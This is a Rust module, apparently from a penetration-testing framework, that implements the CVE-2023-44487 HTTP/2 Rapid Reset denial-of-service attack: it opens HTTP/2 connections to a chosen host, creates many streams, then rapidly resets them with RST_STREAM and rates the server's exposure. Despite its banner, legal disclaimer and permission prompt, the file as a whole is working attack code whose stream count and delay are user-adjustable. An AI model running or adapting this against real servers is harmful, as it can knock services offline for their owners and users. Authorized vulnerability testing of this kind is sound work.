// CVE-2023-44487 - HTTP/2 Rapid Reset Denial of Service
// Exploit Author: Madhusudhan Rajappa
// Date: 29th August 2025
// Version: HTTP/2.0

use anyhow::{anyhow, Context, Result};
use colored::*;
use h2::client::Builder;
use std::io::{self, Write};
use std::net::ToSocketAddrs;
use std::time::{Duration, Instant};
use tokio::net::TcpStream;
use tokio::time::timeout;
use tokio_rustls::TlsConnector;

/// Displays module banner
fn banner() {
    println!(
        "{}",
        r#"
╔═══════════════════════════════════════════════════════════╗
║   CVE-2023-44487 HTTP/2 Rapid Reset DoS Vulnerability     ║
║   Tester                                                  ║
║                                                           ║
║   WARNING: Only use on systems you own or have            ║
║   permission to test!                                     ║
╚═══════════════════════════════════════════════════════════╝
"#
        .cyan()
    );
}

/// Normalize IPv6 host with brackets
fn normalize_host(host: &str) -> String {
    let stripped = host.trim_matches(|c| c == '[' || c == ']');
    if stripped.contains(':') {
        format!("[{}]", stripped)
    } else {
        stripped.to_string()
    }
}

/// Perform baseline test with normal HTTP/2 requests
async fn baseline_test(
    host: &str,
    port: u16,
    use_ssl: bool,
    num_requests: usize,
) -> Result<()> {
    println!("{}", format!("\n[*] Performing baseline test with {} normal requests...", num_requests).yellow());
    
    let host_normalized = normalize_host(host);
    let addr = format!("{}:{}", host_normalized, port);
    let socket_addr = addr
        .to_socket_addrs()
        .context("Invalid target address format")?
        .next()
        .context("Could not resolve target address")?;

    let stream = TcpStream::connect(socket_addr).await?;
    
    if use_ssl {
        let root_store = tokio_rustls::rustls::RootCertStore::empty();
        let config = tokio_rustls::rustls::ClientConfig::builder()
            .with_safe_defaults()
            .with_root_certificates(root_store)
            .with_no_client_auth();
        let connector = TlsConnector::from(std::sync::Arc::new(config));
        let server_name = tokio_rustls::rustls::ServerName::try_from(host)
            .map_err(|_| anyhow!("Invalid server name"))?;
        let tls_stream = connector.connect(server_name, stream).await?;
        let (mut sender, connection) = Builder::new()
            .handshake::<_, bytes::BytesMut>(tls_stream)
            .await?;

        // Spawn connection task
        tokio::spawn(async move {
            if let Err(e) = connection.await {
                eprintln!("Connection error: {:?}", e);
            }
        });

        let mut successful = 0;
        let start = Instant::now();

        for i in 0..num_requests {
            let request = http::Request::builder()
                .uri(format!("https://{}:{}/", host, port))
                .body(())
                .unwrap();

            match sender.send_request(request, true) {
                Ok(_send_stream) => {
                    // Request sent successfully with end_of_stream=true
                    successful += 1;
                }
                Err(_) => {
                    break;
                }
            }

            if i < num_requests - 1 {
                tokio::time::sleep(Duration::from_millis(100)).await;
            }
        }

        let duration = start.elapsed();
        println!("{}", format!("[+] Baseline Results:").green());
        println!("  Total Requests: {}", num_requests);
        println!("  Successful: {}", successful);
        println!("  Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
        println!("  Duration: {:.3}s", duration.as_secs_f64());
    } else {
        let (mut sender, connection) = Builder::new()
            .handshake::<_, bytes::BytesMut>(stream)
            .await?;

        // Spawn connection task
        tokio::spawn(async move {
            if let Err(e) = connection.await {
                eprintln!("Connection error: {:?}", e);
            }
        });

        let mut successful = 0;
        let start = Instant::now();

        for i in 0..num_requests {
            let request = http::Request::builder()
                .uri(format!("http://{}:{}/", host, port))
                .body(())
                .unwrap();

            match sender.send_request(request, true) {
                Ok(_send_stream) => {
                    // Request sent successfully with end_of_stream=true
                    successful += 1;
                }
                Err(_) => {
                    break;
                }
            }

            if i < num_requests - 1 {
                tokio::time::sleep(Duration::from_millis(100)).await;
            }
        }

        let duration = start.elapsed();
        println!("{}", format!("[+] Baseline Results:").green());
        println!("  Total Requests: {}", num_requests);
        println!("  Successful: {}", successful);
        println!("  Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
        println!("  Duration: {:.3}s", duration.as_secs_f64());
    }

    Ok(())
}

/// Perform rapid reset attack test
async fn rapid_reset_test(
    host: &str,
    port: u16,
    use_ssl: bool,
    num_streams: usize,
    delay_ms: u64,
) -> Result<()> {
    println!("{}", format!("\n[*] Starting rapid reset test with {} streams...", num_streams).yellow());
    
    let host_normalized = normalize_host(host);
    let addr = format!("{}:{}", host_normalized, port);
    let socket_addr = addr
        .to_socket_addrs()
        .context("Invalid target address format")?
        .next()
        .context("Could not resolve target address")?;

    let stream = TcpStream::connect(socket_addr).await?;
    
    if use_ssl {
        let root_store = tokio_rustls::rustls::RootCertStore::empty();
        let config = tokio_rustls::rustls::ClientConfig::builder()
            .with_safe_defaults()
            .with_root_certificates(root_store)
            .with_no_client_auth();
        let connector = TlsConnector::from(std::sync::Arc::new(config));
        let server_name = tokio_rustls::rustls::ServerName::try_from(host)
            .map_err(|_| anyhow!("Invalid server name"))?;
        let tls_stream = connector.connect(server_name, stream).await?;
        let (mut sender, connection) = Builder::new()
            .handshake::<_, bytes::BytesMut>(tls_stream)
            .await?;

        // Spawn connection task
        let connection_task = tokio::spawn(async move {
            if let Err(e) = connection.await {
                eprintln!("Connection error: {:?}", e);
            }
        });

        let mut created_streams = Vec::new();
        let start = Instant::now();

        // Phase 1: Rapidly create streams
        println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
        for i in 0..num_streams {
            let request = http::Request::builder()
                .uri(format!("https://{}:{}/", host, port))
                .header("user-agent", "CVE-2023-44487-Tester/1.0")
                .body(())
                .unwrap();

            match sender.send_request(request, false) {
                Ok((_response_future, send_stream)) => {
                    created_streams.push(send_stream);
                    if delay_ms > 0 {
                        tokio::time::sleep(Duration::from_millis(delay_ms)).await;
                    }
                }
                Err(e) => {
                    println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
                    break;
                }
            }
        }

        let creation_duration = start.elapsed();
        println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());

        // Phase 2: Rapidly reset all streams
        println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
        let reset_start = Instant::now();
        let mut reset_count = 0;

        for mut send_stream in created_streams {
            // Send RST_STREAM - send_stream has a send_reset method
            send_stream.send_reset(h2::Reason::CANCEL);
            reset_count += 1;

            if delay_ms > 0 {
                tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
            }
        }

        let reset_duration = reset_start.elapsed();
        let total_duration = start.elapsed();
        let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
            reset_count as f64 / reset_duration.as_secs_f64()
        } else {
            0.0
        };

        println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
        println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
        println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());

        // Phase 3: Analysis
        println!("{}", "\n[*] Vulnerability Analysis:".yellow());
        
        if reset_rate > 1000.0 {
            println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
            println!("{}", "    This may indicate vulnerability to CVE-2023-44487".red());
        } else if reset_rate > 100.0 {
            println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
            println!("{}", "    Further testing may be needed".yellow());
        } else {
            println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
            println!("{}", "    This suggests some protection against the vulnerability".green());
        }

        // Cleanup
        drop(sender);
        let _ = timeout(Duration::from_secs(2), connection_task).await;
    } else {
        let (mut sender, connection) = Builder::new()
            .handshake::<_, bytes::BytesMut>(stream)
            .await?;

        // Spawn connection task
        let connection_task = tokio::spawn(async move {
            if let Err(e) = connection.await {
                eprintln!("Connection error: {:?}", e);
            }
        });

        let mut created_streams = Vec::new();
        let start = Instant::now();

        // Phase 1: Rapidly create streams
        println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
        for i in 0..num_streams {
            let request = http::Request::builder()
                .uri(format!("http://{}:{}/", host, port))
                .header("user-agent", "CVE-2023-44487-Tester/1.0")
                .body(())
                .unwrap();

            match sender.send_request(request, false) {
                Ok((_response_future, send_stream)) => {
                    created_streams.push(send_stream);
                    if delay_ms > 0 {
                        tokio::time::sleep(Duration::from_millis(delay_ms)).await;
                    }
                }
                Err(e) => {
                    println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
                    break;
                }
            }
        }

        let creation_duration = start.elapsed();
        println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());

        // Phase 2: Rapidly reset all streams
        println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
        let reset_start = Instant::now();
        let mut reset_count = 0;

        for mut send_stream in created_streams {
            // Send RST_STREAM - send_stream has a send_reset method
            send_stream.send_reset(h2::Reason::CANCEL);
            reset_count += 1;

            if delay_ms > 0 {
                tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
            }
        }

        let reset_duration = reset_start.elapsed();
        let total_duration = start.elapsed();
        let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
            reset_count as f64 / reset_duration.as_secs_f64()
        } else {
            0.0
        };

        println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
        println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
        println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());

        // Phase 3: Analysis
        println!("{}", "\n[*] Vulnerability Analysis:".yellow());
        
        if reset_rate > 1000.0 {
            println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
            println!("{}", "    This may indicate vulnerability to CVE-2023-44487".red());
        } else if reset_rate > 100.0 {
            println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
            println!("{}", "    Further testing may be needed".yellow());
        } else {
            println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
            println!("{}", "    This suggests some protection against the vulnerability".green());
        }

        // Cleanup
        drop(sender);
        let _ = timeout(Duration::from_secs(2), connection_task).await;
    }

    Ok(())
}

/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
    banner();

    // Parse target (could be host:port or just host)
    let (host, default_port) = if let Some(colon_pos) = target.rfind(':') {
        let h = &target[..colon_pos];
        let p = target[colon_pos + 1..].parse::<u16>().unwrap_or(443);
        (h.to_string(), p)
    } else {
        (target.to_string(), 443)
    };

    // Interactive prompts
    let mut port_input = String::new();
    print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
    io::stdout().flush()?;
    io::stdin().read_line(&mut port_input)?;
    let port: u16 = port_input.trim().parse().unwrap_or(default_port);

    let mut ssl_input = String::new();
    print!("{}", "Use SSL/TLS? (yes/no, default yes): ".cyan().bold());
    io::stdout().flush()?;
    io::stdin().read_line(&mut ssl_input)?;
    let use_ssl = !ssl_input.trim().to_lowercase().starts_with('n');

    let mut streams_input = String::new();
    print!("{}", "Number of streams for rapid reset test (default 100): ".cyan().bold());
    io::stdout().flush()?;
    io::stdin().read_line(&mut streams_input)?;
    let num_streams: usize = streams_input.trim().parse().unwrap_or(100);

    let mut delay_input = String::new();
    print!("{}", "Delay between operations in ms (default 1): ".cyan().bold());
    io::stdout().flush()?;
    io::stdin().read_line(&mut delay_input)?;
    let delay_ms: u64 = delay_input.trim().parse().unwrap_or(1);

    let mut baseline_input = String::new();
    print!("{}", "Run baseline test first? (yes/no, default yes): ".cyan().bold());
    io::stdout().flush()?;
    io::stdin().read_line(&mut baseline_input)?;
    let run_baseline = !baseline_input.trim().to_lowercase().starts_with('n');

    println!("\n{}", "=".repeat(60).cyan());
    println!("{}", format!("Target: {}:{}", host, port).yellow());
    println!("{}", format!("SSL: {}", if use_ssl { "Enabled" } else { "Disabled" }).yellow());
    println!("{}", "=".repeat(60).cyan());

    // Legal disclaimer
    println!("\n{}", "LEGAL DISCLAIMER:".red().bold());
    println!("This tool is for authorized security testing only.");
    println!("Ensure you have permission to test the target system.");
    println!("Unauthorized use may be illegal.\n");

    let mut confirm = String::new();
    print!("{}", "Do you have permission to test this system? (yes/no): ".cyan().bold());
    io::stdout().flush()?;
    io::stdin().read_line(&mut confirm)?;
    
    if !confirm.trim().to_lowercase().starts_with('y') {
        println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
        return Ok(());
    }

    // Run baseline test
    if run_baseline {
        if let Err(e) = baseline_test(&host, port, use_ssl, 10).await {
            println!("{}", format!("[-] Baseline test error: {}", e).red());
        }
    }

    // Run rapid reset test
    if let Err(e) = rapid_reset_test(&host, port, use_ssl, num_streams, delay_ms).await {
        println!("{}", format!("[-] Rapid reset test error: {}", e).red());
    }

    println!("\n{}", "[*] Test completed.".cyan());

    Ok(())
}

